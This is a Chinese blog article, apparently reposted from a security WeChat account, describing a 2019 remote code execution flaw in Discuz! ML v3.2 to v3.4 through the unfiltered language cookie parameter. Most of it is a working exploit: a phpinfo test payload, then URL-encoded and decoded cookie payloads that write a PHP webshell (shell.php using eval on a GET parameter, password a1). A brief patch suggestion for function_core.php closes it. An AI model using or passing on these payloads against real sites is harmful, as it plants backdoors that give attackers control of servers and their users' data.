前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Discuz Ml v3.x 前台Getshell姿势

Discuz Ml v3.x 前台Getshell姿势

作者头像
HACK学习
发布2019-08-05 20:34:28
1.8K0
发布2019-08-05 20:34:28
举报
文章被收录于专栏:HACK学习HACK学习

0x00 受影响的版本

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

0x01 漏洞描述

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。

本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的

cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行

phpinfo验证

代码语言:javascript
复制
Ov1T_2132_language='.phpinfo().';

Getshell——EXP:

修改Cookie中的xxxx_language字段为以下内容即可

代码语言:javascript
复制
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1

EXP利用的方法:

大约有60多个点可以用的。比如论坛主页

其他利用点:

Getshell——EXP解码后:

代码语言:javascript
复制
'.+file_put_contents('shell.php',urldecode('<?php+ eval($_GET["a1"]);?>')).'

修改exp为_language=1.1.1;使其报错

修复建议

截止到本文发布之前,补丁还没有出来。

建议修改source/function/function_core.php 644行为

代码语言:javascript
复制
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

删除可控变量

原理以及代码分析请看推荐阅读的两篇图文

推荐阅读:

Discuz ML! V3.X 远程代码执行漏洞深度分析

漏洞分析 | Discuz ML! V3.X 代码注入漏洞

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 修复建议
相关产品与服务
Discuz!
Discuz! 是全球领先的论坛社区应用系统,自2001年6月面世以来,服务超过300多万网站用户案例。现在,借助 Discuz! ,您不仅可以使用搭建传统的社区论坛,更可轻易的构建面向移动互联网时代的私域流量和社交圈子类的应用,并快速启动业务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档